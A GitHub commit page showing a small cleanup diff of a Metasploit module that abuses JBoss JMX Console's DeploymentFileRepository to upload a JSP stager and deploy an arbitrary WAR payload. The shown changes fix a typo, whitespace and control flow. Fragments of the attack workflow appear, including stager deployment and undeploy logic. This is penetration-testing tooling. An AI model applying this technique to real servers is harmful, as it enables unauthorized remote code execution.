Skip to content

Commit 3059caf

Browse files
committed
Do minor cleanup
1 parent 4abfb84 commit 3059caf

File tree

1 file changed

+11
-9
lines changed

1 file changed

+11
-9
lines changed

modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -13,9 +13,8 @@ def initialize
1313
super(
1414
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
1515
'Description' => %q{
16-
This module uses the DeploymentFileRepository class in
17-
JBoss Application Server (jbossas) to deploy a JSP file
18-
which then deploys the WAR file.
16+
This module uses the DeploymentFileRepository class in the JBoss Application Server
17+
to deploy a JSP file which then deploys an arbitrary WAR file.
1918
},
2019
'Author' =>
2120
[
@@ -40,8 +39,8 @@ def initialize
4039
register_options(
4140
[
4241
Opt::RPORT(8080),
43-
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
44-
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
42+
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
43+
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
4544
], self.class)
4645
end
4746

@@ -55,7 +54,7 @@ def deploy_action(app_base, war_data)
5554
print_status("#{peer} - Deploying stager for the WAR file...")
5655
res = upload_file(stager_base, stager_jsp_name, stager_contents)
5756
else
58-
print_status("#{peer} - Deploying minmial stager to upload the payload...")
57+
print_status("#{peer} - Deploying minimal stager to upload the payload...")
5958
head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
6059
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
6160
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
@@ -109,15 +108,18 @@ def deploy_action(app_base, war_data)
109108
end
110109
end
111110

111+
# Undeploy the WAR and the stager if needed
112112
def undeploy_action(app_base)
113-
# Undeploy the WAR and the stager if needed
114113
print_status("#{peer} - Undeploying #{app_base} via DeploymentFileRepository.remove()...")
115114
print_status("This might take some time, be patient...") if http_verb == "HEAD"
116115
res = delete_file('./', app_base + '.war', '')
117116

118-
if !res
117+
unless res
119118
print_error("#{peer} - Unable to remove WAR (no response)")
120-
elsif res.code < 200 || res.code >= 300
119+
return
120+
end
121+
122+
if res.code < 200 || res.code >= 300
121123
print_error("#{peer} - Unable to remove WAR [#{res.code} #{res.message}]")
122124
else
123125
print_good("#{peer} - Successfully removed")

0 commit comments

Comments
 (0)